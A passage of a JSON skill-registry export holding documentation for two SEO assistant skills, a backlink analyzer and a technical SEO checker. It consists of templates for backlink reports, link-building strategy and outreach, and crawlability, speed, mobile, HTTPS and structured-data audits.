|\n \n ### Link Building Priority Matrix\n \n | Opportunity Type | Effort | Impact | Priority |\n |------------------|--------|--------|----------|\n | Link intersection | Medium | High | \u2b50\u2b50\u2b50\u2b50\u2b50 |\n | Broken links | Low | Medium | \u2b50\u2b50\u2b50\u2b50 |\n | Unlinked mentions | Low | Medium | \u2b50\u2b50\u2b50\u2b50 |\n | Resource pages | Medium | High | \u2b50\u2b50\u2b50\u2b50 |\n | Guest posts | High | High | \u2b50\u2b50\u2b50 |\n ```\n\n6. **Track Link Changes**\n\n ```markdown\n ## Link Change Tracking\n \n ### New Links (Last 30 Days)\n \n | Source | DA | Type | Anchor | Date |\n |--------|-----|------|--------|------|\n | [domain 1] | [DA] | [type] | [anchor] | [date] |\n | [domain 2] | [DA] | [type] | [anchor] | [date] |\n | [domain 3] | [DA] | [type] | [anchor] | [date] |\n \n **Total new links**: [X]\n **Average DA of new links**: [X]\n **Best new link**: [domain] (DA [X])\n \n ### Lost Links (Last 30 Days)\n \n | Source | DA | Reason | Action |\n |--------|-----|--------|--------|\n | [domain 1] | [DA] | Page removed | Reach out |\n | [domain 2] | [DA] | Link removed | Investigate |\n | [domain 3] | [DA] | Site down | Monitor |\n \n **Total lost links**: [X]\n **Net change**: [+/-X]\n \n ### Links to Recover\n \n | Lost Link | Value | Recovery Strategy |\n |-----------|-------|-------------------|\n | [domain 1] | High | Contact webmaster |\n | [domain 2] | High | Update content they linked to |\n ```\n\n7. **Generate Backlink Report**\n\n ```markdown\n # Backlink Analysis Report\n \n **Domain**: [domain]\n **Report Date**: [date]\n **Period Analyzed**: [period]\n \n ## Executive Summary\n \n Your backlink profile is [healthy/needs attention/concerning].\n \n **Key Stats**:\n - Referring domains: [X] ([+/-Y] vs last month)\n - Average link authority: [X] DA\n - Link velocity: [X] new links/month\n - Toxic link percentage: [X]%\n \n ## Profile Strengths\n \n 1. \u2705 [Strength 1]\n 2. \u2705 [Strength 2]\n 3. \u2705 [Strength 3]\n \n ## Areas of Concern\n \n 1. \u26a0\ufe0f [Concern 1]\n 2. \u26a0\ufe0f [Concern 2]\n \n ## Opportunities Identified\n \n | Opportunity | Potential Links | Effort | Priority |\n |-------------|-----------------|--------|----------|\n | Link intersection | [X] sites | Medium | High |\n | Broken links | [X] sites | Low | High |\n | Resource pages | [X] sites | Medium | Medium |\n \n ## Competitive Position\n \n Your referring domains rank #[X] among [Y] competitors.\n \n | Rank | Domain | Referring Domains |\n |------|--------|-------------------|\n | 1 | [domain] | [X] |\n | 2 | [domain] | [X] |\n | 3 | [domain] | [X] |\n \n ## Recommended Actions\n \n ### Immediate (This Week)\n - [ ] Disavow [X] toxic links identified\n - [ ] Reach out to [X] unlinked mentions\n \n ### Short-term (This Month)\n - [ ] Pursue [X] link intersection opportunities\n - [ ] Fix [X] broken link opportunities\n - [ ] Recover [X] recently lost links\n \n ### Long-term (This Quarter)\n - [ ] Create linkable asset targeting [topic]\n - [ ] Launch guest posting campaign\n - [ ] Build [X] resource page links\n \n ## KPIs to Track\n \n | Metric | Current | 3-Month Target |\n |--------|---------|----------------|\n | Referring domains | [X] | [Y] |\n | Average DA of new links | [X] | [Y] |\n | Link velocity | [X]/mo | [Y]/mo |\n | Toxic link % | [X]% | <5% |\n ```\n\n### CITE Item Mapping\n\nWhen running `domain-authority-auditor` after this analysis, the following data feeds directly into CITE scoring:\n\n| Backlink Metric | CITE Item | Dimension |\n|----------------|-----------|-----------|\n| Referring domains count | C01 (Referring Domain Volume) | Citation |\n| Authority distribution (DA breakdown) | C02 (Referring Domains Quality) | Citation |\n| Link velocity | C04 (Link Velocity) | Citation |\n| Geographic distribution | C10 (Link Source Diversity) | Citation |\n| Dofollow/Nofollow ratio | T02 (Dofollow Ratio Normality) | Trust |\n| Toxic link analysis | T01 (Link Profile Naturalness), T03 (Link-Traffic Coherence) | Trust |\n| Competitive link intersection | T05 (Profile Uniqueness) | Trust |\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Target domain backlink data is complete and current\n- [ ] Competitor domains specified for comparison analysis\n- [ ] Backlink data includes necessary fields (source domain, anchor text, link type)\n- [ ] Authority metrics available (DA/DR or equivalent)\n\n### Output Validation\n- [ ] Every metric cites its data source and collection date\n- [ ] Toxic link assessments include risk justification\n- [ ] Link opportunity recommendations are specific and actionable\n- [ ] Source of each data point clearly stated (~~link database data, ~~SEO tool data, user-provided, or estimated)\n\n## Example\n\n**User**: \"Find link building opportunities by analyzing HubSpot, Salesforce, and Mailchimp\"\n\n**Output**:\n\n```markdown\n## Link Intersection Analysis\n\n### Sites linking to 2+ competitors (not you)\n\n| Domain | DA | HubSpot | Salesforce | Mailchimp | Opportunity |\n|--------|-----|---------|------------|-----------|-------------|\n| g2.com | 91 | \u2705 | \u2705 | \u2705 | Get listed/reviewed |\n| capterra.com | 89 | \u2705 | \u2705 | \u2705 | Submit for review |\n| entrepreneur.com | 92 | \u2705 | \u2705 | \u274c | Pitch guest post |\n| techcrunch.com | 94 | \u2705 | \u274c | \u2705 | PR/news pitch |\n\n### Top 5 Immediate Opportunities\n\n1. **G2.com** (DA 91) - All competitors listed\n - Action: Create detailed G2 profile\n - Effort: Low\n - Impact: High authority + referral traffic\n\n2. **Entrepreneur.com** (DA 92) - 2 competitors have links\n - Action: Pitch contributed article\n - Effort: High\n - Impact: High authority + brand exposure\n\n3. **MarketingProfs** (DA 75) - All competitors featured\n - Action: Apply for expert contribution\n - Effort: Medium\n - Impact: Relevant audience + quality link\n\n### Estimated Impact\n\nIf you acquire links from top 10 opportunities:\n- New referring domains: +10\n- Average DA of new links: 82\n- Estimated ranking impact: +2-5 positions for competitive keywords\n```\n\n## Tips for Success\n\n1. **Quality over quantity** - One DA 80 link beats ten DA 20 links\n2. **Monitor regularly** - Catch lost links and toxic links early\n3. **Study competitors** - Learn from their link building success\n4. **Diversify your profile** - Mix of link types and anchors\n5. **Disavow carefully** - Only disavow clearly toxic links\n\n## Link Quality Assessment Framework\n\n### Link Quality Scoring Matrix\n\n| Factor | Weight | Score 1 (Low) | Score 3 (Medium) | Score 5 (High) |\n|--------|--------|--------------|------------------|----------------|\n| Domain Authority | 25% | DR <20 | DR 20-50 | DR 50+ |\n| Topical Relevance | 25% | Unrelated niche | Broadly related | Same niche/topic |\n| Traffic to Page | 15% | No traffic | Some traffic | Significant traffic |\n| Link Position | 15% | Footer/sidebar | Body (generic) | Body (contextual, editorial) |\n| Anchor Text | 10% | Generic/naked URL | Partial match | Descriptive, natural |\n| Follow Status | 10% | Nofollow/UGC | Sponsored (disclosed) | Dofollow, editorial |\n\n**Link Quality Score** = Sum(Factor x Weight) \u2014 High (4-5), Medium (2.5-3.9), Low (<2.5)\n\n### Toxic Link Identification Criteria\n\n| Red Flag | Risk Level | Action |\n|----------|-----------|--------|\n| From PBN (Private Blog Network) | Critical | Disavow |\n| Paid link without nofollow | Critical | Contact webmaster, then disavow |\n| From hacked/spam site | Critical | Disavow |\n| Exact match anchor from low-quality site | High | Monitor, consider disavow |\n| From link farm / directory network | High | Disavow |\n| From irrelevant foreign language site | Medium | Monitor |\n| Sitewide footer/sidebar link | Medium | Request removal or nofollow |\n| From scraper/auto-generated content | Medium | Disavow |\n| Reciprocal link schemes | Low-Medium | Reduce reciprocal ratio |\n\n## Link Building Strategy Matrix\n\n### Strategy Comparison\n\n| Strategy | Difficulty | Scalability | Link Quality | Time to Results | Best For |\n|----------|-----------|-------------|-------------|-----------------|---------|\n| **Guest Posting** | Medium | Medium | Medium-High | 1-3 months | Building relationships + links |\n| **Digital PR** | High | High | Very High | 2-6 months | Brand authority + high-DR links |\n| **Broken Link Building** | Low-Medium | Medium | Medium | 1-2 months | Quick wins at scale |\n| **Resource Page Links** | Low | Low | Medium | 1-2 months | Niche-relevant links |\n| **HARO/Source Pitching** | Medium | Medium | High | 1-3 months | Authority + press mentions |\n| **Original Research** | High | Very High | Very High | 3-6 months | Long-term link magnet |\n| **Free Tools/Calculators** | Very High | Very High | Very High | 6-12 months | Passive link acquisition |\n| **Skyscraper Technique** | Medium | Low | Medium-High | 2-4 months | Outranking specific content |\n| **Unlinked Mentions** | Low | Low | High | 1-2 weeks | Converting existing brand mentions |\n| **Community Engagement** | Low | Low | Low-Medium | Ongoing | Niche authority building |\n\n### Link Building Cadence\n\n| Site Stage | Monthly Link Target | Strategy Focus |\n|-----------|-------------------|---------------|\n| New site (0-6 months) | 5-10 quality links | Guest posts, resource pages, HARO |\n| Growing (6-18 months) | 10-25 quality links | Digital PR, original research, skyscraper |\n| Established (18+ months) | Maintenance + strategic | Passive from content, digital PR campaigns |\n\n## Outreach Best Practices\n\n### Email Outreach Framework\n\n**Subject Line Formulas:**\n- \"Quick question about [their article title]\"\n- \"Resource for your [topic] page\"\n- \"[Mutual connection] suggested I reach out\"\n- \"Found a broken link on [their page]\"\n\n**Email Structure:**\n1. Personal hook (reference their specific content \u2014 prove you read it)\n2. Value proposition (what's in it for them, not you)\n3. The ask (specific, easy to act on)\n4. Social proof (brief \u2014 one line max)\n5. Easy opt-out (no pressure)\n\n### Outreach Response Rate Benchmarks\n\n| Approach | Average Response Rate | Average Link Win Rate |\n|----------|---------------------|---------------------|\n| Broken link building | 8-12% | 3-5% |\n| Guest post pitching | 5-10% | 2-4% |\n| Resource page outreach | 6-10% | 2-4% |\n| Unlinked mention | 15-25% | 10-15% |\n| HARO pitching | 3-8% | 1-3% |\n| Digital PR campaign | 5-15% | 2-8% |\n\n## Reference Materials\n\n- [Link Quality Rubric](./references/link-quality-rubric.md) \u2014 Quality scoring matrix with weighted factors and toxic link identification criteria\n- [Outreach Templates](./references/outreach-templates.md) \u2014 Email frameworks, subject line formulas, and response rate benchmarks\n\n## Related Skills\n\n- [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u2014 Backlink data feeds directly into CITE C dimension; run after this analysis for full domain scoring\n- [competitor-analysis](../../research/competitor-analysis/) \u2014 Full competitor analysis\n- [content-gap-analysis](../../research/content-gap-analysis/) \u2014 Create linkable content\n- [alert-manager](../alert-manager/) \u2014 Set up link alerts\n- [performance-reporter](../performance-reporter/) \u2014 Include in reports\n- [entity-optimizer](../../cross-cutting/entity-optimizer/) \u2014 Branded backlinks strengthen entity signals\n\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/backlink-analyzer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/aaron-he-zhu/backlink-analyzer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/aaron-he-zhu/backlink-analyzer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/aaron-he-zhu/backlink-analyzer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/aaron-he-zhu/backlink-analyzer/SKILL.md", "importedAt": "2026-02-18T19:24:20.981Z"}}}}, {"slug": "clawhub-technical-seo-checker", "name": "Technical SEO Checker", "category": "Security", "description": "SEO & GEO Skills Library \u00b7 20 skills for SEO + GEO \u00b7 Install all: npx skills add aaron-he-zhu/seo-geo-claude-skills", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Technical SEO Checker", "slug": "clawhub-technical-seo-checker", "version": "1.0.0", "description": "--- name: technical-seo-checker description: 'Use when the user asks to \"technical SEO audit\", \"check page speed\", \"crawl issues\", \"Core Web Vitals\", \"site indexing problems\", \"my site is slow\", \"Google cannot crawl my site\", \"mobile issues\", or \"indexing problems\". Performs technical SEO audits covering site speed, crawlability, indexability, mobile-friendliness, security, and structured data. Identifies technical issues preventing optimal search performance. For content and heading element issues, see on-page-seo-auditor. For link architecture, see internal-linking-optimizer.' license: Apache-2.0 metadata: author: aaron-he-zhu version: \"2.0.0\" geo-relevance: \"low\" tags: - seo - technical seo - page speed - core web vitals - crawlability - indexability - mobile-friendly - site speed - security audit triggers: - \"technical SEO audit\" - \"check page speed\" - \"crawl issues\" - \"Core Web Vitals\" - \"site indexing problems\" - \"mobile-friendly check\" - \"site speed\" - \"my site is slow\" - \"Google can't crawl my site\" - \"mobile issues\" - \"indexing problems\" ---", "documentation_md": "---\nname: technical-seo-checker\ndescription: 'Use when the user asks to \"technical SEO audit\", \"check page speed\", \"crawl issues\", \"Core Web Vitals\", \"site indexing problems\", \"my site is slow\", \"Google cannot crawl my site\", \"mobile issues\", or \"indexing problems\". Performs technical SEO audits covering site speed, crawlability, indexability, mobile-friendliness, security, and structured data. Identifies technical issues preventing optimal search performance. For content and heading element issues, see on-page-seo-auditor. For link architecture, see internal-linking-optimizer.'\nlicense: Apache-2.0\nmetadata:\n author: aaron-he-zhu\n version: \"2.0.0\"\n geo-relevance: \"low\"\n tags:\n - seo\n - technical seo\n - page speed\n - core web vitals\n - crawlability\n - indexability\n - mobile-friendly\n - site speed\n - security audit\n triggers:\n - \"technical SEO audit\"\n - \"check page speed\"\n - \"crawl issues\"\n - \"Core Web Vitals\"\n - \"site indexing problems\"\n - \"mobile-friendly check\"\n - \"site speed\"\n - \"my site is slow\"\n - \"Google can't crawl my site\"\n - \"mobile issues\"\n - \"indexing problems\"\n---\n\n# Technical SEO Checker\n\n\n> **[SEO & GEO Skills Library](https://skills.sh/aaron-he-zhu/seo-geo-claude-skills)** \u00b7 20 skills for SEO + GEO \u00b7 Install all: `npx skills add aaron-he-zhu/seo-geo-claude-skills`\n\n<details>\n<summary>Browse all 20 skills</summary>\n\n**Research** \u00b7 [keyword-research](../../research/keyword-research/) \u00b7 [competitor-analysis](../../research/competitor-analysis/) \u00b7 [serp-analysis](../../research/serp-analysis/) \u00b7 [content-gap-analysis](../../research/content-gap-analysis/)\n\n**Build** \u00b7 [seo-content-writer](../../build/seo-content-writer/) \u00b7 [geo-content-optimizer](../../build/geo-content-optimizer/) \u00b7 [meta-tags-optimizer](../../build/meta-tags-optimizer/) \u00b7 [schema-markup-generator](../../build/schema-markup-generator/)\n\n**Optimize** \u00b7 [on-page-seo-auditor](../on-page-seo-auditor/) \u00b7 **technical-seo-checker** \u00b7 [internal-linking-optimizer](../internal-linking-optimizer/) \u00b7 [content-refresher](../content-refresher/)\n\n**Monitor** \u00b7 [rank-tracker](../../monitor/rank-tracker/) \u00b7 [backlink-analyzer](../../monitor/backlink-analyzer/) \u00b7 [performance-reporter](../../monitor/performance-reporter/) \u00b7 [alert-manager](../../monitor/alert-manager/)\n\n**Cross-cutting** \u00b7 [content-quality-auditor](../../cross-cutting/content-quality-auditor/) \u00b7 [domain-authority-auditor](../../cross-cutting/domain-authority-auditor/) \u00b7 [entity-optimizer](../../cross-cutting/entity-optimizer/) \u00b7 [memory-management](../../cross-cutting/memory-management/)\n\n</details>\n\nThis skill performs comprehensive technical SEO audits to identify issues that may prevent search engines from properly crawling, indexing, and ranking your site.\n\n## When to Use This Skill\n\n- Launching a new website\n- Diagnosing ranking drops\n- Pre-migration SEO audits\n- Regular technical health checks\n- Identifying crawl and index issues\n- Improving site performance\n- Fixing Core Web Vitals issues\n\n## What This Skill Does\n\n1. **Crawlability Audit**: Checks robots.txt, sitemaps, crawl issues\n2. **Indexability Review**: Analyzes index status and blockers\n3. **Site Speed Analysis**: Evaluates Core Web Vitals and performance\n4. **Mobile-Friendliness**: Checks mobile optimization\n5. **Security Check**: Reviews HTTPS and security headers\n6. **Structured Data Audit**: Validates schema markup\n7. **URL Structure Analysis**: Reviews URL patterns and redirects\n8. **International SEO**: Checks hreflang and localization\n\n## How to Use\n\n### Full Technical Audit\n\n```\nPerform a technical SEO audit for [URL/domain]\n```\n\n### Specific Issue Check\n\n```\nCheck Core Web Vitals for [URL]\n```\n\n```\nAudit crawlability and indexability for [domain]\n```\n\n### Pre-Migration Audit\n\n```\nTechnical SEO checklist for migrating [old domain] to [new domain]\n```\n\n## Data Sources\n\n> See [CONNECTORS.md](../../CONNECTORS.md) for tool category placeholders.\n\n**With ~~web crawler + ~~page speed tool + ~~CDN connected:**\nClaude can automatically crawl the entire site structure via ~~web crawler, pull Core Web Vitals and performance metrics from ~~page speed tool, analyze caching headers from ~~CDN, and fetch mobile-friendliness data. This enables comprehensive automated technical audits.\n\n**With manual data only:**\nAsk the user to provide:\n1. Site URL(s) to audit\n2. PageSpeed Insights screenshots or reports\n3. robots.txt file content\n4. sitemap.xml URL or file\n\nProceed with the full audit using provided data. Note in the output which findings are from automated crawl vs. manual review.\n\n## Instructions\n\nWhen a user requests a technical SEO audit:\n\n1. **Audit Crawlability**\n\n ```markdown\n ## Crawlability Analysis\n \n ### Robots.txt Review\n \n **URL**: [domain]/robots.txt\n **Status**: [Found/Not Found/Error]\n \n **Current Content**:\n ```\n [robots.txt content]\n ```\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | File exists | \u2705/\u274c | [notes] |\n | Valid syntax | \u2705/\u26a0\ufe0f/\u274c | [errors found] |\n | Sitemap declared | \u2705/\u274c | [sitemap URL] |\n | Important pages blocked | \u2705/\u26a0\ufe0f/\u274c | [blocked paths] |\n | Assets blocked | \u2705/\u26a0\ufe0f/\u274c | [CSS/JS blocked?] |\n | Correct user-agents | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Issues Found**:\n - [Issue 1]\n - [Issue 2]\n \n **Recommended robots.txt**:\n ```\n User-agent: *\n Allow: /\n Disallow: /admin/\n Disallow: /private/\n \n Sitemap: https://example.com/sitemap.xml\n ```\n \n ---\n \n ### XML Sitemap Review\n \n **Sitemap URL**: [URL]\n **Status**: [Found/Not Found/Error]\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Sitemap exists | \u2705/\u274c | [notes] |\n | Valid XML format | \u2705/\u26a0\ufe0f/\u274c | [errors] |\n | In robots.txt | \u2705/\u274c | [notes] |\n | Submitted to ~~search console | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | URLs count | [X] | [appropriate?] |\n | Only indexable URLs | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Includes priority | \u2705/\u26a0\ufe0f | [notes] |\n | Includes lastmod | \u2705/\u26a0\ufe0f | [accurate?] |\n \n **Issues Found**:\n - [Issue 1]\n \n ---\n \n ### Crawl Budget Analysis\n \n | Factor | Status | Impact |\n |--------|--------|--------|\n | Crawl errors | [X] errors | [Low/Med/High] |\n | Duplicate content | [X] pages | [Low/Med/High] |\n | Thin content | [X] pages | [Low/Med/High] |\n | Redirect chains | [X] found | [Low/Med/High] |\n | Orphan pages | [X] found | [Low/Med/High] |\n \n **Crawlability Score**: [X]/10\n ```\n\n2. **Audit Indexability**\n\n ```markdown\n ## Indexability Analysis\n \n ### Index Status Overview\n \n | Metric | Count | Notes |\n |--------|-------|-------|\n | Pages in sitemap | [X] | |\n | Pages indexed | [X] | [source: site: search] |\n | Index coverage ratio | [X]% | [good if >90%] |\n \n ### Index Blockers Check\n \n | Blocker Type | Found | Pages Affected |\n |--------------|-------|----------------|\n | noindex meta tag | [X] | [list or \"none\"] |\n | noindex X-Robots | [X] | [list or \"none\"] |\n | Robots.txt blocked | [X] | [list or \"none\"] |\n | Canonical to other | [X] | [list or \"none\"] |\n | 4xx/5xx errors | [X] | [list or \"none\"] |\n | Redirect loops | [X] | [list or \"none\"] |\n \n ### Canonical Tags Audit\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Canonicals present | \u2705/\u26a0\ufe0f/\u274c | [X]% of pages |\n | Self-referencing | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Consistent (HTTP/HTTPS) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Consistent (www/non-www) | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | No conflicting signals | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n ### Duplicate Content Issues\n \n | Issue Type | Count | Examples |\n |------------|-------|----------|\n | Exact duplicates | [X] | [URLs] |\n | Near duplicates | [X] | [URLs] |\n | Parameter duplicates | [X] | [URLs] |\n | WWW/non-WWW | [X] | [notes] |\n | HTTP/HTTPS | [X] | [notes] |\n \n **Indexability Score**: [X]/10\n ```\n\n3. **Audit Site Speed & Core Web Vitals**\n\n ```markdown\n ## Performance Analysis\n \n ### Core Web Vitals\n \n | Metric | Mobile | Desktop | Target | Status |\n |--------|--------|---------|--------|--------|\n | LCP (Largest Contentful Paint) | [X]s | [X]s | <2.5s | \u2705/\u26a0\ufe0f/\u274c |\n | FID (First Input Delay) | [X]ms | [X]ms | <100ms | \u2705/\u26a0\ufe0f/\u274c |\n | CLS (Cumulative Layout Shift) | [X] | [X] | <0.1 | \u2705/\u26a0\ufe0f/\u274c |\n | INP (Interaction to Next Paint) | [X]ms | [X]ms | <200ms | \u2705/\u26a0\ufe0f/\u274c |\n \n ### Additional Performance Metrics\n \n | Metric | Value | Status |\n |--------|-------|--------|\n | Time to First Byte (TTFB) | [X]ms | \u2705/\u26a0\ufe0f/\u274c |\n | First Contentful Paint (FCP) | [X]s | \u2705/\u26a0\ufe0f/\u274c |\n | Speed Index | [X] | \u2705/\u26a0\ufe0f/\u274c |\n | Total Blocking Time | [X]ms | \u2705/\u26a0\ufe0f/\u274c |\n | Page Size | [X]MB | \u2705/\u26a0\ufe0f/\u274c |\n | Requests | [X] | \u2705/\u26a0\ufe0f/\u274c |\n \n ### Performance Issues\n \n **LCP Issues**:\n - [Issue]: [Impact] - [Solution]\n - [Issue]: [Impact] - [Solution]\n \n **CLS Issues**:\n - [Issue]: [Impact] - [Solution]\n \n **Resource Loading**:\n | Resource Type | Count | Size | Issues |\n |---------------|-------|------|--------|\n | Images | [X] | [X]MB | [notes] |\n | JavaScript | [X] | [X]MB | [notes] |\n | CSS | [X] | [X]KB | [notes] |\n | Fonts | [X] | [X]KB | [notes] |\n \n ### Optimization Recommendations\n \n **High Impact**:\n 1. [Recommendation] - Est. improvement: [X]s\n 2. [Recommendation] - Est. improvement: [X]s\n \n **Medium Impact**:\n 1. [Recommendation]\n 2. [Recommendation]\n \n **Performance Score**: [X]/10\n ```\n\n4. **Audit Mobile-Friendliness**\n\n ```markdown\n ## Mobile Optimization Analysis\n \n ### Mobile-Friendly Test\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Mobile-friendly overall | \u2705/\u274c | [notes] |\n | Viewport configured | \u2705/\u274c | [viewport tag] |\n | Text readable | \u2705/\u26a0\ufe0f/\u274c | Font size: [X]px |\n | Tap targets sized | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Content fits viewport | \u2705/\u274c | [notes] |\n | No horizontal scroll | \u2705/\u274c | [notes] |\n \n ### Responsive Design Check\n \n | Element | Desktop | Mobile | Issues |\n |---------|---------|--------|--------|\n | Navigation | [status] | [status] | [notes] |\n | Images | [status] | [status] | [notes] |\n | Forms | [status] | [status] | [notes] |\n | Tables | [status] | [status] | [notes] |\n | Videos | [status] | [status] | [notes] |\n \n ### Mobile-First Indexing\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Mobile version has all content | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Mobile has same structured data | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Mobile has same meta tags | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Mobile images have alt text | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n **Mobile Score**: [X]/10\n ```\n\n5. **Audit Security & HTTPS**\n\n ```markdown\n ## Security Analysis\n \n ### HTTPS Status\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | SSL certificate valid | \u2705/\u274c | Expires: [date] |\n | HTTPS enforced | \u2705/\u274c | [redirects properly?] |\n | Mixed content | \u2705/\u26a0\ufe0f/\u274c | [X] issues |\n | HSTS enabled | \u2705/\u26a0\ufe0f | [notes] |\n | Certificate chain | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n ### Security Headers\n \n | Header | Present | Value | Recommended |\n |--------|---------|-------|-------------|\n | Content-Security-Policy | \u2705/\u274c | [value] | [recommendation] |\n | X-Frame-Options | \u2705/\u274c | [value] | DENY or SAMEORIGIN |\n | X-Content-Type-Options | \u2705/\u274c | [value] | nosniff |\n | X-XSS-Protection | \u2705/\u274c | [value] | 1; mode=block |\n | Referrer-Policy | \u2705/\u274c | [value] | [recommendation] |\n \n **Security Score**: [X]/10\n ```\n\n6. **Audit URL Structure**\n\n ```markdown\n ## URL Structure Analysis\n \n ### URL Pattern Review\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | HTTPS URLs | \u2705/\u26a0\ufe0f/\u274c | [X]% HTTPS |\n | Lowercase URLs | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | No special characters | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Readable/descriptive | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Appropriate length | \u2705/\u26a0\ufe0f/\u274c | Avg: [X] chars |\n | Keywords in URLs | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Consistent structure | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n \n ### URL Issues Found\n \n | Issue Type | Count | Examples |\n |------------|-------|----------|\n | Dynamic parameters | [X] | [URLs] |\n | Session IDs in URLs | [X] | [URLs] |\n | Uppercase characters | [X] | [URLs] |\n | Special characters | [X] | [URLs] |\n | Very long URLs (>100) | [X] | [URLs] |\n \n ### Redirect Analysis\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Redirect chains | [X] found | [max chain length] |\n | Redirect loops | [X] found | [URLs] |\n | 302 \u2192 301 needed | [X] found | [URLs] |\n | Broken redirects | [X] found | [URLs] |\n \n **URL Score**: [X]/10\n ```\n\n7. **Audit Structured Data**\n\n > **CORE-EEAT alignment**: Schema markup quality maps to O05 (Schema Markup) in the CORE-EEAT benchmark. See [content-quality-auditor](../../cross-cutting/content-quality-auditor/) for full content quality audit.\n\n ```markdown\n ## Structured Data Analysis\n \n ### Schema Markup Found\n \n | Schema Type | Pages | Valid | Errors |\n |-------------|-------|-------|--------|\n | [Type 1] | [X] | \u2705/\u274c | [errors] |\n | [Type 2] | [X] | \u2705/\u274c | [errors] |\n \n ### Validation Results\n \n **Errors**:\n - [Error 1]: [affected pages] - [solution]\n - [Error 2]: [affected pages] - [solution]\n \n **Warnings**:\n - [Warning 1]: [notes]\n \n ### Missing Schema Opportunities\n \n | Page Type | Current Schema | Recommended |\n |-----------|----------------|-------------|\n | Blog posts | [current] | Article + FAQ |\n | Products | [current] | Product + Review |\n | Homepage | [current] | Organization |\n \n **Structured Data Score**: [X]/10\n ```\n\n8. **Audit International SEO (if applicable)**\n\n ```markdown\n ## International SEO Analysis\n \n ### Hreflang Implementation\n \n | Check | Status | Notes |\n |-------|--------|-------|\n | Hreflang tags present | \u2705/\u274c | [notes] |\n | Self-referencing | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Return tags present | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | Valid language codes | \u2705/\u26a0\ufe0f/\u274c | [notes] |\n | x-default tag | \u2705/\u26a0\ufe0f | [notes] |\n \n ### Language/Region Targeting\n \n | Language | URL | Hreflang | Status |\n |----------|-----|----------|--------|\n | [en-US] | [URL] | [tag] | \u2705/\u26a0\ufe0f/\u274c |\n | [es-ES] | [URL] | [tag] | \u2705/\u26a0\ufe0f/\u274c |\n \n **International Score**: [X]/10\n ```\n\n9. **Generate Technical Audit Summary**\n\n ```markdown\n # Technical SEO Audit Report\n \n **Domain**: [domain]\n **Audit Date**: [date]\n **Pages Analyzed**: [X]\n \n ## Overall Technical Health: [X]/100\n \n ```\n Score Breakdown:\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Crawlability: 8/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591 Indexability: 7/10\n \u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Performance: 5/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591 Mobile: 8/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2591 Security: 9/10\n \u2588\u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591 URL Structure: 6/10\n \u2588\u2588\u2588\u2588\u2588\u2591\u2591\u2591\u2591\u2591 Structured Data: 5/10\n ```\n \n ## Critical Issues (Fix Immediately)\n \n 1. **[Issue]**: [Impact] \n - Affected: [pages/scope]\n - Solution: [specific fix]\n - Priority: \ud83d\udd34 Critical\n \n 2. **[Issue]**: [Impact]\n - Affected: [pages/scope]\n - Solution: [specific fix]\n - Priority: \ud83d\udd34 Critical\n \n ## High Priority Issues\n \n 1. **[Issue]**: [Solution]\n 2. **[Issue]**: [Solution]\n \n ## Medium Priority Issues\n \n 1. **[Issue]**: [Solution]\n 2. **[Issue]**: [Solution]\n \n ## Quick Wins\n \n These can be fixed quickly for immediate improvement:\n \n 1. [Quick fix 1]\n 2. [Quick fix 2]\n 3. [Quick fix 3]\n \n ## Implementation Roadmap\n \n ### Week 1: Critical Fixes\n - [ ] [Task 1]\n - [ ] [Task 2]\n \n ### Week 2-3: High Priority\n - [ ] [Task 1]\n - [ ] [Task 2]\n \n ### Week 4+: Optimization\n - [ ] [Task 1]\n - [ ] [Task 2]\n \n ## Monitoring Recommendations\n\n Set up alerts for:\n - Core Web Vitals drops\n - Crawl error spikes\n - Index coverage changes\n - Security issues\n ```\n\n## Validation Checkpoints\n\n### Input Validation\n- [ ] Site URL or domain clearly specified\n- [ ] Access to technical data (robots.txt, sitemap, or crawl results)\n- [ ] 